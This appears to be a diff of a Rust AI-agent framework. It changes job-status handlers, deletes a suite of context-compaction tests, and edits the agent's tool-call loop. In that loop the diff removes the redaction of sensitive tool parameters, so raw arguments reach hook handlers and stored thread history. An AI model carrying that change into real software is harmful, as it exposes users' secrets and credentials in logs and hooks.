"Jobs summary: Total: {} In Progress: {} Completed: {} Failed: {} Stuck: {}",
|
|
||||||
total, in_progress, completed, failed, stuck
|
|
||||||
));
|
|
||||||
}
|
|
||||||
|
|
||||||
// Fallback to ContextManager if no DB.
|
|
||||||
let summary = self.context_manager.summary_for(user_id).await;
|
let summary = self.context_manager.summary_for(user_id).await;
|
||||||
Ok(format!(
|
Ok(format!(
|
||||||
"Jobs summary: Total: {} In Progress: {} Completed: {} Failed: {} Stuck: {}",
|
"Jobs summary:\n Total: {}\n In Progress: {}\n Completed: {}\n Failed: {}\n Stuck: {}",
|
||||||
summary.total,
|
summary.total,
|
||||||
summary.in_progress,
|
summary.in_progress,
|
||||||
summary.completed,
|
summary.completed,
|
||||||
@@ -204,15 +159,6 @@ impl Agent {
|
|||||||
|
|
||||||
self.scheduler.stop(uuid).await?;
|
self.scheduler.stop(uuid).await?;
|
||||||
|
|
||||||
// Also update DB so the Jobs tab reflects cancellation immediately.
|
|
||||||
if let Some(store) = self.store()
|
|
||||||
&& let Err(e) = store
|
|
||||||
.update_job_status(uuid, JobState::Cancelled, Some("Cancelled by user"))
|
|
||||||
.await
|
|
||||||
{
|
|
||||||
tracing::warn!(job_id = %uuid, "Failed to persist cancellation to DB: {}", e);
|
|
||||||
}
|
|
||||||
|
|
||||||
Ok(format!("Job {} has been cancelled.", job_id))
|
Ok(format!("Job {} has been cancelled.", job_id))
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -221,49 +167,21 @@ impl Agent {
|
|||||||
user_id: &str,
|
user_id: &str,
|
||||||
_filter: Option<String>,
|
_filter: Option<String>,
|
||||||
) -> Result<String, Error> {
|
) -> Result<String, Error> {
|
||||||
// List from DB for consistency with Jobs tab.
|
|
||||||
if let Some(store) = self.store() {
|
|
||||||
let agent_jobs = match store.list_agent_jobs().await {
|
|
||||||
Ok(jobs) => jobs,
|
|
||||||
Err(e) => {
|
|
||||||
tracing::warn!("Failed to list agent jobs: {}", e);
|
|
||||||
Vec::new()
|
|
||||||
}
|
|
||||||
};
|
|
||||||
let sandbox_jobs = match store.list_sandbox_jobs().await {
|
|
||||||
Ok(jobs) => jobs,
|
|
||||||
Err(e) => {
|
|
||||||
tracing::warn!("Failed to list sandbox jobs: {}", e);
|
|
||||||
Vec::new()
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
if agent_jobs.is_empty() && sandbox_jobs.is_empty() {
|
|
||||||
return Ok("No jobs found.".to_string());
|
|
||||||
}
|
|
||||||
|
|
||||||
let mut output = String::from("Jobs:\n");
|
|
||||||
for j in &agent_jobs {
|
|
||||||
output.push_str(&format!(" {} - {} ({})\n", j.id, j.title, j.status));
|
|
||||||
}
|
|
||||||
for j in &sandbox_jobs {
|
|
||||||
output.push_str(&format!(" {} - {} ({})\n", j.id, j.task, j.status));
|
|
||||||
}
|
|
||||||
return Ok(output);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Fallback to ContextManager if no DB.
|
|
||||||
let jobs = self.context_manager.all_jobs_for(user_id).await;
|
let jobs = self.context_manager.all_jobs_for(user_id).await;
|
||||||
|
|
||||||
if jobs.is_empty() {
|
if jobs.is_empty() {
|
||||||
return Ok("No jobs found.".to_string());
|
return Ok("No jobs found.".to_string());
|
||||||
}
|
}
|
||||||
|
|
||||||
let mut output = String::from("Jobs:\n");
|
let mut output = String::from("Jobs:\n");
|
||||||
for job_id in jobs {
|
for job_id in jobs {
|
||||||
if let Ok(ctx) = self.context_manager.get_context(job_id).await {
|
if let Ok(ctx) = self.context_manager.get_context(job_id).await
|
||||||
|
&& ctx.user_id == user_id
|
||||||
|
{
|
||||||
output.push_str(&format!(" {} - {} ({:?})\n", job_id, ctx.title, ctx.state));
|
output.push_str(&format!(" {} - {} ({:?})\n", job_id, ctx.title, ctx.state));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
Ok(output)
|
Ok(output)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -302,33 +220,6 @@ impl Agent {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Show job status inline — either all jobs (no id) or a specific job.
|
|
||||||
pub(super) async fn process_job_status(
|
|
||||||
&self,
|
|
||||||
user_id: &str,
|
|
||||||
job_id: Option<&str>,
|
|
||||||
) -> Result<SubmissionResult, Error> {
|
|
||||||
match self
|
|
||||||
.handle_check_status(user_id, job_id.map(|s| s.to_string()))
|
|
||||||
.await
|
|
||||||
{
|
|
||||||
Ok(text) => Ok(SubmissionResult::response(text)),
|
|
||||||
Err(e) => Ok(SubmissionResult::error(format!("Job status error: {}", e))),
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Cancel a job by ID.
|
|
||||||
pub(super) async fn process_job_cancel(
|
|
||||||
&self,
|
|
||||||
user_id: &str,
|
|
||||||
job_id: &str,
|
|
||||||
) -> Result<SubmissionResult, Error> {
|
|
||||||
match self.handle_cancel_job(user_id, job_id).await {
|
|
||||||
Ok(text) => Ok(SubmissionResult::response(text)),
|
|
||||||
Err(e) => Ok(SubmissionResult::error(format!("Cancel error: {}", e))),
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Trigger a manual heartbeat check.
|
/// Trigger a manual heartbeat check.
|
||||||
pub(super) async fn process_heartbeat(&self) -> Result<SubmissionResult, Error> {
|
pub(super) async fn process_heartbeat(&self) -> Result<SubmissionResult, Error> {
|
||||||
let Some(workspace) = self.workspace() else {
|
let Some(workspace) = self.workspace() else {
|
||||||
|
|||||||
@@ -342,482 +342,4 @@ mod tests {
|
|||||||
assert_eq!(partial.turns_removed, 0);
|
assert_eq!(partial.turns_removed, 0);
|
||||||
assert!(!partial.summary_written);
|
assert!(!partial.summary_written);
|
||||||
}
|
}
|
||||||
|
|
||||||
// === QA Plan - Compaction strategy tests ===
|
|
||||||
|
|
||||||
use crate::agent::context_monitor::CompactionStrategy;
|
|
||||||
use crate::config::SafetyConfig;
|
|
||||||
use crate::safety::SafetyLayer;
|
|
||||||
use crate::testing::StubLlm;
|
|
||||||
|
|
||||||
/// Helper: build a `ContextCompactor` with the given `StubLlm`.
|
|
||||||
fn make_compactor(llm: Arc<StubLlm>) -> ContextCompactor {
|
|
||||||
let safety = Arc::new(SafetyLayer::new(&SafetyConfig {
|
|
||||||
max_output_length: 100_000,
|
|
||||||
injection_check_enabled: false,
|
|
||||||
}));
|
|
||||||
ContextCompactor::new(llm, safety)
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Helper: build a thread with `n` completed turns.
|
|
||||||
/// Turn `i` has user_input "msg-{i}" and response "resp-{i}".
|
|
||||||
fn make_thread(n: usize) -> Thread {
|
|
||||||
let mut thread = Thread::new(Uuid::new_v4());
|
|
||||||
for i in 0..n {
|
|
||||||
thread.start_turn(format!("msg-{}", i));
|
|
||||||
thread.complete_turn(format!("resp-{}", i));
|
|
||||||
}
|
|
||||||
thread
|
|
||||||
}
|
|
||||||
|
|
||||||
// ------------------------------------------------------------------
|
|
||||||
// 1. compact_truncate keeps last N turns
|
|
||||||
// ------------------------------------------------------------------
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_compact_truncate_keeps_last_n() {
|
|
||||||
let llm = Arc::new(StubLlm::new("unused"));
|
|
||||||
let compactor = make_compactor(llm);
|
|
||||||
let mut thread = make_thread(10);
|
|
||||||
assert_eq!(thread.turns.len(), 10);
|
|
||||||
|
|
||||||
let result = compactor
|
|
||||||
.compact(
|
|
||||||
&mut thread,
|
|
||||||
CompactionStrategy::Truncate { keep_recent: 3 },
|
|
||||||
None,
|
|
||||||
)
|
|
||||||
.await
|
|
||||||
.expect("compact should succeed");
|
|
||||||
|
|
||||||
// Only 3 turns remain
|
|
||||||
assert_eq!(thread.turns.len(), 3);
|
|
||||||
|
|
||||||
// They are the most recent ones (msg-7, msg-8, msg-9)
|
|
||||||
assert_eq!(thread.turns[0].user_input, "msg-7");
|
|
||||||
assert_eq!(thread.turns[1].user_input, "msg-8");
|
|
||||||
assert_eq!(thread.turns[2].user_input, "msg-9");
|
|
||||||
|
|
||||||
// Turn numbers are re-indexed to 0, 1, 2
|
|
||||||
assert_eq!(thread.turns[0].turn_number, 0);
|
|
||||||
assert_eq!(thread.turns[1].turn_number, 1);
|
|
||||||
assert_eq!(thread.turns[2].turn_number, 2);
|
|
||||||
|
|
||||||
// Result metadata
|
|
||||||
assert_eq!(result.turns_removed, 7);
|
|
||||||
assert!(!result.summary_written);
|
|
||||||
assert!(result.summary.is_none());
|
|
||||||
|
|
||||||
// Tokens should be reported (before > 0 since we had content)
|
|
||||||
assert!(result.tokens_before > 0);
|
|
||||||
assert!(result.tokens_after > 0);
|
|
||||||
assert!(result.tokens_before > result.tokens_after);
|
|
||||||
}
|
|
||||||
|
|
||||||
// ------------------------------------------------------------------
|
|
||||||
// 2. compact_truncate with fewer turns than limit (no-op)
|
|
||||||
// ------------------------------------------------------------------
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_compact_truncate_with_fewer_turns_than_limit() {
|
|
||||||
let llm = Arc::new(StubLlm::new("unused"));
|
|
||||||
let compactor = make_compactor(llm);
|
|
||||||
let mut thread = make_thread(2);
|
|
||||||
|
|
||||||
let original_inputs: Vec<String> =
|
|
||||||
thread.turns.iter().map(|t| t.user_input.clone()).collect();
|
|
||||||
|
|
||||||
let result = compactor
|
|
||||||
.compact(
|
|
||||||
&mut thread,
|
|
||||||
CompactionStrategy::Truncate { keep_recent: 5 },
|
|
||||||
None,
|
|
||||||
)
|
|
||||||
.await
|
|
||||||
.expect("compact should succeed");
|
|
||||||
|
|
||||||
// All turns preserved
|
|
||||||
assert_eq!(thread.turns.len(), 2);
|
|
||||||
assert_eq!(thread.turns[0].user_input, original_inputs[0]);
|
|
||||||
assert_eq!(thread.turns[1].user_input, original_inputs[1]);
|
|
||||||
|
|
||||||
// No turns removed
|
|
||||||
assert_eq!(result.turns_removed, 0);
|
|
||||||
assert!(!result.summary_written);
|
|
||||||
assert!(result.summary.is_none());
|
|
||||||
}
|
|
||||||
|
|
||||||
// ------------------------------------------------------------------
|
|
||||||
// 3. compact_truncate with empty turns list
|
|
||||||
// ------------------------------------------------------------------
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_compact_truncate_empty_turns() {
|
|
||||||
let llm = Arc::new(StubLlm::new("unused"));
|
|
||||||
let compactor = make_compactor(llm);
|
|
||||||
let mut thread = Thread::new(Uuid::new_v4());
|
|
||||||
assert!(thread.turns.is_empty());
|
|
||||||
|
|
||||||
let result = compactor
|
|
||||||
.compact(
|
|
||||||
&mut thread,
|
|
||||||
CompactionStrategy::Truncate { keep_recent: 3 },
|
|
||||||
None,
|
|
||||||
)
|
|
||||||
.await
|
|
||||||
.expect("compact should succeed on empty turns");
|
|
||||||
|
|
||||||
assert!(thread.turns.is_empty());
|
|
||||||
assert_eq!(result.turns_removed, 0);
|
|
||||||
assert_eq!(result.tokens_before, 0);
|
|
||||||
assert_eq!(result.tokens_after, 0);
|
|
||||||
}
|
|
||||||
|
|
||||||
// ------------------------------------------------------------------
|
|
||||||
// 4. compact_with_summary produces summary turn via StubLlm
|
|
||||||
// ------------------------------------------------------------------
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_compact_with_summary_produces_summary_turn() {
|
|
||||||
let canned_summary =
|
|
||||||
"- User greeted the agent\n- Agent responded warmly\n- Five exchanges completed";
|
|
||||||
let llm = Arc::new(StubLlm::new(canned_summary));
|
|
||||||
let compactor = make_compactor(llm.clone());
|
|
||||||
let mut thread = make_thread(5);
|
|
||||||
|
|
||||||
let result = compactor
|
|
||||||
.compact(
|
|
||||||
&mut thread,
|
|
||||||
CompactionStrategy::Summarize { keep_recent: 2 },
|
|
||||||
None,
|
|
||||||
)
|
|
||||||
.await
|
|
||||||
.expect("compact with summary should succeed");
|
|
||||||
|
|
||||||
// Should keep only 2 recent turns
|
|
||||||
assert_eq!(thread.turns.len(), 2);
|
|
||||||
|
|
||||||
// The kept turns should be the last two (msg-3, msg-4)
|
|
||||||
assert_eq!(thread.turns[0].user_input, "msg-3");
|
|
||||||
assert_eq!(thread.turns[1].user_input, "msg-4");
|
|
||||||
|
|
||||||
// Result should report the summary
|
|
||||||
assert_eq!(result.turns_removed, 3);
|
|
||||||
assert!(result.summary.is_some());
|
|
||||||
let summary = result.summary.unwrap();
|
|
||||||
assert!(summary.contains("User greeted the agent"));
|
|
||||||
assert!(summary.contains("Five exchanges completed"));
|
|
||||||
|
|
||||||
// summary_written should be false since no workspace was provided
|
|
||||||
assert!(!result.summary_written);
|
|
||||||
|
|
||||||
// StubLlm should have been called exactly once for the summary
|
|
||||||
assert_eq!(llm.calls(), 1);
|
|
||||||
}
|
|
||||||
|
|
||||||
// ------------------------------------------------------------------
|
|
||||||
// 5. compact_with_summary: LLM failure returns error (does not corrupt thread)
|
|
||||||
// ------------------------------------------------------------------
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_compact_with_summary_llm_failure() {
|
|
||||||
let llm = Arc::new(StubLlm::failing("broken-llm"));
|
|
||||||
let compactor = make_compactor(llm.clone());
|
|
||||||
let mut thread = make_thread(8);
|
|
||||||
let original_len = thread.turns.len();
|
|
||||||
|
|
||||||
let result = compactor
|
|
||||||
.compact(
|
|
||||||
&mut thread,
|
|
||||||
CompactionStrategy::Summarize { keep_recent: 3 },
|
|
||||||
None,
|
|
||||||
)
|
|
||||||
.await;
|
|
||||||
|
|
||||||
// The LLM failure should propagate as an error
|
|
||||||
assert!(result.is_err());
|
|
||||||
|
|
||||||
// The thread should NOT have been modified (turns not truncated
|
|
||||||
// on failure, since the error occurs before truncation)
|
|
||||||
assert_eq!(thread.turns.len(), original_len);
|
|
||||||
}
|
|
||||||
|
|
||||||
// ------------------------------------------------------------------
|
|
||||||
// 6. compact_with_summary: fewer turns than keep_recent is a no-op
|
|
||||||
// ------------------------------------------------------------------
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_compact_with_summary_fewer_turns_than_keep() {
|
|
||||||
let llm = Arc::new(StubLlm::new("should not be called"));
|
|
||||||
let compactor = make_compactor(llm.clone());
|
|
||||||
let mut thread = make_thread(3);
|
|
||||||
|
|
||||||
let result = compactor
|
|
||||||
.compact(
|
|
||||||
&mut thread,
|
|
||||||
CompactionStrategy::Summarize { keep_recent: 5 },
|
|
||||||
None,
|
|
||||||
)
|
|
||||||
.await
|
|
||||||
.expect("compact should succeed");
|
|
||||||
|
|
||||||
// No turns removed, LLM never called
|
|
||||||
assert_eq!(thread.turns.len(), 3);
|
|
||||||
assert_eq!(result.turns_removed, 0);
|
|
||||||
assert!(result.summary.is_none());
|
|
||||||
assert_eq!(llm.calls(), 0);
|
|
||||||
}
|
|
||||||
|
|
||||||
// ------------------------------------------------------------------
|
|
||||||
// 7. compact_to_workspace without workspace falls back to truncation
|
|
||||||
// ------------------------------------------------------------------
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_compact_to_workspace_without_workspace_falls_back() {
|
|
||||||
let llm = Arc::new(StubLlm::new("unused"));
|
|
||||||
let compactor = make_compactor(llm);
|
|
||||||
let mut thread = make_thread(20);
|
|
||||||
|
|
||||||
let result = compactor
|
|
||||||
.compact(&mut thread, CompactionStrategy::MoveToWorkspace, None)
|
|
||||||
.await
|
|
||||||
.expect("compact should succeed");
|
|
||||||
|
|
||||||
// Without a workspace, compact_to_workspace falls back to truncation
|
|
||||||
// keeping 5 turns (the hardcoded fallback in the code)
|
|
||||||
assert_eq!(thread.turns.len(), 5);
|
|
||||||
assert_eq!(result.turns_removed, 15);
|
|
||||||
|
|
||||||
// The remaining turns should be the last 5
|
|
||||||
assert_eq!(thread.turns[0].user_input, "msg-15");
|
|
||||||
assert_eq!(thread.turns[4].user_input, "msg-19");
|
|
||||||
}
|
|
||||||
|
|
||||||
// ------------------------------------------------------------------
|
|
||||||
// 8. compact_to_workspace: fewer turns than keep is a no-op
|
|
||||||
// ------------------------------------------------------------------
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_compact_to_workspace_fewer_turns_noop() {
|
|
||||||
let llm = Arc::new(StubLlm::new("unused"));
|
|
||||||
let compactor = make_compactor(llm);
|
|
||||||
// MoveToWorkspace keeps 10 turns when workspace is available.
|
|
||||||
// Without workspace it falls back to truncate(5).
|
|
||||||
// With fewer turns, test the no-workspace fallback path:
|
|
||||||
let mut thread = make_thread(4);
|
|
||||||
|
|
||||||
let result = compactor
|
|
||||||
.compact(&mut thread, CompactionStrategy::MoveToWorkspace, None)
|
|
||||||
.await
|
|
||||||
.expect("compact should succeed");
|
|
||||||
|
|
||||||
// 4 turns < 5 (fallback keep_recent), so no truncation
|
|
||||||
assert_eq!(thread.turns.len(), 4);
|
|
||||||
assert_eq!(result.turns_removed, 0);
|
|
||||||
}
|
|
||||||
|
|
||||||
// ------------------------------------------------------------------
|
|
||||||
// 9. format_turns_for_storage includes tool calls
|
|
||||||
// ------------------------------------------------------------------
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_format_turns_for_storage_with_tool_calls() {
|
|
||||||
let mut thread = Thread::new(Uuid::new_v4());
|
|
||||||
thread.start_turn("Search for X");
|
|
||||||
// Record a tool call on the current turn
|
|
||||||
if let Some(turn) = thread.turns.last_mut() {
|
|
||||||
turn.record_tool_call("search", serde_json::json!({"query": "X"}));
|
|
||||||
}
|
|
||||||
thread.complete_turn("Found X");
|
|
||||||
|
|
||||||
let formatted = format_turns_for_storage(&thread.turns);
|
|
||||||
assert!(formatted.contains("Turn 1"));
|
|
||||||
assert!(formatted.contains("Search for X"));
|
|
||||||
assert!(formatted.contains("Found X"));
|
|
||||||
assert!(formatted.contains("Tools: search"));
|
|
||||||
}
|
|
||||||
|
|
||||||
// ------------------------------------------------------------------
|
|
||||||
// 10. format_turns_for_storage with no response (incomplete turn)
|
|
||||||
// ------------------------------------------------------------------
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_format_turns_for_storage_incomplete_turn() {
|
|
||||||
let mut thread = Thread::new(Uuid::new_v4());
|
|
||||||
thread.start_turn("In progress message");
|
|
||||||
// Don't complete the turn
|
|
||||||
|
|
||||||
let formatted = format_turns_for_storage(&thread.turns);
|
|
||||||
assert!(formatted.contains("Turn 1"));
|
|
||||||
assert!(formatted.contains("In progress message"));
|
|
||||||
// No "Agent:" line since response is None
|
|
||||||
assert!(!formatted.contains("Agent:"));
|
|
||||||
}
|
|
||||||
|
|
||||||
// ------------------------------------------------------------------
|
|
||||||
// 11. format_turns_for_storage empty list
|
|
||||||
// ------------------------------------------------------------------
|
|
||||||
|
|
||||||
#[test]
|
|
||||||
fn test_format_turns_for_storage_empty() {
|
|
||||||
let formatted = format_turns_for_storage(&[]);
|
|
||||||
assert!(formatted.is_empty());
|
|
||||||
}
|
|
||||||
|
|
||||||
// ------------------------------------------------------------------
|
|
||||||
// 12. Token counts decrease after truncation
|
|
||||||
// ------------------------------------------------------------------
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_tokens_decrease_after_compaction() {
|
|
||||||
let llm = Arc::new(StubLlm::new("unused"));
|
|
||||||
let compactor = make_compactor(llm);
|
|
||||||
let mut thread = make_thread(20);
|
|
||||||
|
|
||||||
let result = compactor
|
|
||||||
.compact(
|
|
||||||
&mut thread,
|
|
||||||
CompactionStrategy::Truncate { keep_recent: 5 },
|
|
||||||
None,
|
|
||||||
)
|
|
||||||
.await
|
|
||||||
.expect("compact should succeed");
|
|
||||||
|
|
||||||
assert!(
|
|
||||||
result.tokens_after < result.tokens_before,
|
|
||||||
"tokens_after ({}) should be less than tokens_before ({})",
|
|
||||||
result.tokens_after,
|
|
||||||
result.tokens_before
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
// ------------------------------------------------------------------
|
|
||||||
// 13. compact_with_summary: keep_recent=0 removes all turns
|
|
||||||
// ------------------------------------------------------------------
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_compact_truncate_keep_zero() {
|
|
||||||
let llm = Arc::new(StubLlm::new("unused"));
|
|
||||||
let compactor = make_compactor(llm);
|
|
||||||
let mut thread = make_thread(5);
|
|
||||||
|
|
||||||
let result = compactor
|
|
||||||
.compact(
|
|
||||||
&mut thread,
|
|
||||||
CompactionStrategy::Truncate { keep_recent: 0 },
|
|
||||||
None,
|
|
||||||
)
|
|
||||||
.await
|
|
||||||
.expect("compact should succeed");
|
|
||||||
|
|
||||||
assert!(thread.turns.is_empty());
|
|
||||||
assert_eq!(result.turns_removed, 5);
|
|
||||||
assert_eq!(result.tokens_after, 0);
|
|
||||||
}
|
|
||||||
|
|
||||||
// ------------------------------------------------------------------
|
|
||||||
// 14. Summarize with keep_recent=0 summarizes all and removes all
|
|
||||||
// ------------------------------------------------------------------
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_compact_with_summary_keep_zero() {
|
|
||||||
let llm = Arc::new(StubLlm::new("Summary of all turns"));
|
|
||||||
let compactor = make_compactor(llm.clone());
|
|
||||||
let mut thread = make_thread(5);
|
|
||||||
|
|
||||||
let result = compactor
|
|
||||||
.compact(
|
|
||||||
&mut thread,
|
|
||||||
CompactionStrategy::Summarize { keep_recent: 0 },
|
|
||||||
None,
|
|
||||||
)
|
|
||||||
.await
|
|
||||||
.expect("compact should succeed");
|
|
||||||
|
|
||||||
assert!(thread.turns.is_empty());
|
|
||||||
assert_eq!(result.turns_removed, 5);
|
|
||||||
assert!(result.summary.is_some());
|
|
||||||
assert_eq!(result.summary.unwrap(), "Summary of all turns");
|
|
||||||
assert_eq!(llm.calls(), 1);
|
|
||||||
}
|
|
||||||
|
|
||||||
// ------------------------------------------------------------------
|
|
||||||
// 15. Messages are correctly built from turns for thread.messages()
|
|
||||||
// after compaction
|
|
||||||
// ------------------------------------------------------------------
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_messages_coherent_after_compaction() {
|
|
||||||
let llm = Arc::new(StubLlm::new("unused"));
|
|
||||||
let compactor = make_compactor(llm);
|
|
||||||
let mut thread = make_thread(10);
|
|
||||||
|
|
||||||
compactor
|
|
||||||
.compact(
|
|
||||||
&mut thread,
|
|
||||||
CompactionStrategy::Truncate { keep_recent: 3 },
|
|
||||||
None,
|
|
||||||
)
|
|
||||||
.await
|
|
||||||
.expect("compact should succeed");
|
|
||||||
|
|
||||||
let messages = thread.messages();
|
|
||||||
// 3 turns * 2 messages each (user + assistant) = 6
|
|
||||||
assert_eq!(messages.len(), 6);
|
|
||||||
|
|
||||||
// Verify alternating user/assistant pattern
|
|
||||||
for (i, msg) in messages.iter().enumerate() {
|
|
||||||
if i % 2 == 0 {
|
|
||||||
assert_eq!(msg.role, crate::llm::Role::User);
|
|
||||||
} else {
|
|
||||||
assert_eq!(msg.role, crate::llm::Role::Assistant);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Verify content matches the last 3 original turns
|
|
||||||
assert_eq!(messages[0].content, "msg-7");
|
|
||||||
assert_eq!(messages[1].content, "resp-7");
|
|
||||||
assert_eq!(messages[4].content, "msg-9");
|
|
||||||
assert_eq!(messages[5].content, "resp-9");
|
|
||||||
}
|
|
||||||
|
|
||||||
// ------------------------------------------------------------------
|
|
||||||
// 16. Multiple sequential compactions work correctly
|
|
||||||
// ------------------------------------------------------------------
|
|
||||||
|
|
||||||
#[tokio::test]
|
|
||||||
async fn test_sequential_compactions() {
|
|
||||||
let llm = Arc::new(StubLlm::new("unused"));
|
|
||||||
let compactor = make_compactor(llm);
|
|
||||||
let mut thread = make_thread(20);
|
|
||||||
|
|
||||||
// First compaction: 20 -> 10
|
|
||||||
let r1 = compactor
|
|
||||||
.compact(
|
|
||||||
&mut thread,
|
|
||||||
CompactionStrategy::Truncate { keep_recent: 10 },
|
|
||||||
None,
|
|
||||||
)
|
|
||||||
.await
|
|
||||||
.expect("first compact");
|
|
||||||
assert_eq!(thread.turns.len(), 10);
|
|
||||||
assert_eq!(r1.turns_removed, 10);
|
|
||||||
|
|
||||||
// Second compaction: 10 -> 3
|
|
||||||
let r2 = compactor
|
|
||||||
.compact(
|
|
||||||
&mut thread,
|
|
||||||
CompactionStrategy::Truncate { keep_recent: 3 },
|
|
||||||
None,
|
|
||||||
)
|
|
||||||
.await
|
|
||||||
.expect("second compact");
|
|
||||||
assert_eq!(thread.turns.len(), 3);
|
|
||||||
assert_eq!(r2.turns_removed, 7);
|
|
||||||
|
|
||||||
// The remaining turns should be the very last 3 from the original 20
|
|
||||||
assert_eq!(thread.turns[0].user_input, "msg-17");
|
|
||||||
assert_eq!(thread.turns[1].user_input, "msg-18");
|
|
||||||
assert_eq!(thread.turns[2].user_input, "msg-19");
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
+18
-607
@@ -15,7 +15,6 @@ use crate::channels::{IncomingMessage, StatusUpdate};
|
|||||||
use crate::context::JobContext;
|
use crate::context::JobContext;
|
||||||
use crate::error::Error;
|
use crate::error::Error;
|
||||||
use crate::llm::{ChatMessage, Reasoning, ReasoningContext, RespondResult};
|
use crate::llm::{ChatMessage, Reasoning, ReasoningContext, RespondResult};
|
||||||
use crate::tools::redact_params;
|
|
||||||
|
|
||||||
/// Result of the agentic loop execution.
|
/// Result of the agentic loop execution.
|
||||||
pub(super) enum AgenticLoopResult {
|
pub(super) enum AgenticLoopResult {
|
||||||
@@ -107,15 +106,6 @@ impl Agent {
|
|||||||
.with_channel(message.channel.clone())
|
.with_channel(message.channel.clone())
|
||||||
.with_model_name(self.llm().active_model_name())
|
.with_model_name(self.llm().active_model_name())
|
||||||
.with_group_chat(is_group_chat);
|
.with_group_chat(is_group_chat);
|
||||||
|
|
||||||
// Pass channel-specific conversation context to the LLM.
|
|
||||||
// This helps the agent know who/group it's talking to.
|
|
||||||
if let Some(channel) = self.channels.get_channel(&message.channel).await {
|
|
||||||
for (key, value) in channel.conversation_context(&message.metadata) {
|
|
||||||
reasoning = reasoning.with_conversation_data(&key, &value);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if let Some(prompt) = system_prompt {
|
if let Some(prompt) = system_prompt {
|
||||||
reasoning = reasoning.with_system_prompt(prompt);
|
reasoning = reasoning.with_system_prompt(prompt);
|
||||||
}
|
}
|
||||||
@@ -292,11 +282,7 @@ impl Agent {
|
|||||||
|
|
||||||
match output.result {
|
match output.result {
|
||||||
RespondResult::Text(text) => {
|
RespondResult::Text(text) => {
|
||||||
// Strip internal "[Called tool ...]" text that can leak when
|
return Ok(AgenticLoopResult::Response(text));
|
||||||
// provider flattening (e.g. NEAR AI) converts tool_calls to
|
|
||||||
// plain text and the LLM echoes it back.
|
|
||||||
let sanitized = strip_internal_tool_call_text(&text);
|
|
||||||
return Ok(AgenticLoopResult::Response(sanitized));
|
|
||||||
}
|
}
|
||||||
RespondResult::ToolCalls {
|
RespondResult::ToolCalls {
|
||||||
tool_calls,
|
tool_calls,
|
||||||
@@ -322,25 +308,14 @@ impl Agent {
|
|||||||
)
|
)
|
||||||
.await;
|
.await;
|
||||||
|
|
||||||
// Record tool calls in the thread with sensitive params redacted.
|
// Record tool calls in the thread
|
||||||
// Look up each tool's sensitive_params before acquiring the session lock.
|
|
||||||
{
|
{
|
||||||
let mut redacted_args: Vec<serde_json::Value> =
|
|
||||||
Vec::with_capacity(tool_calls.len());
|
|
||||||
for tc in &tool_calls {
|
|
||||||
let safe = if let Some(tool) = self.tools().get(&tc.name).await {
|
|
||||||
redact_params(&tc.arguments, tool.sensitive_params())
|
|
||||||
} else {
|
|
||||||
tc.arguments.clone()
|
|
||||||
};
|
|
||||||
redacted_args.push(safe);
|
|
||||||
}
|
|
||||||
let mut sess = session.lock().await;
|
let mut sess = session.lock().await;
|
||||||
if let Some(thread) = sess.threads.get_mut(&thread_id)
|
if let Some(thread) = sess.threads.get_mut(&thread_id)
|
||||||
&& let Some(turn) = thread.last_turn_mut()
|
&& let Some(turn) = thread.last_turn_mut()
|
||||||
{
|
{
|
||||||
for (tc, safe_args) in tool_calls.iter().zip(redacted_args) {
|
for tc in &tool_calls {
|
||||||
turn.record_tool_call(&tc.name, safe_args);
|
turn.record_tool_call(&tc.name, tc.arguments.clone());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -369,22 +344,11 @@ impl Agent {
|
|||||||
for (idx, original_tc) in tool_calls.iter().enumerate() {
|
for (idx, original_tc) in tool_calls.iter().enumerate() {
|
||||||
let mut tc = original_tc.clone();
|
let mut tc = original_tc.clone();
|
||||||
|
|
||||||
// Fetch the tool upfront so we can redact sensitive params
|
|
||||||
// before they touch hooks or approval display.
|
|
||||||
let tool_opt = self.tools().get(&tc.name).await;
|
|
||||||
let sensitive = tool_opt
|
|
||||||
.as_ref()
|
|
||||||
.map(|t| t.sensitive_params())
|
|
||||||
.unwrap_or(&[]);
|
|
||||||
|
|
||||||
// Hook: BeforeToolCall (runs before approval so hooks can
|
// Hook: BeforeToolCall (runs before approval so hooks can
|
||||||
// modify parameters — approval is checked on final params).
|
// modify parameters — approval is checked on final params)
|
||||||
// Hooks receive redacted params so sensitive values are not
|
|
||||||
// exposed to hook handlers or their logs.
|
|
||||||
let hook_params = redact_params(&tc.arguments, sensitive);
|
|
||||||
let event = crate::hooks::HookEvent::ToolCall {
|
let event = crate::hooks::HookEvent::ToolCall {
|
||||||
tool_name: tc.name.clone(),
|
tool_name: tc.name.clone(),
|
||||||
parameters: hook_params,
|
parameters: tc.arguments.clone(),
|
||||||
user_id: message.user_id.clone(),
|
user_id: message.user_id.clone(),
|
||||||
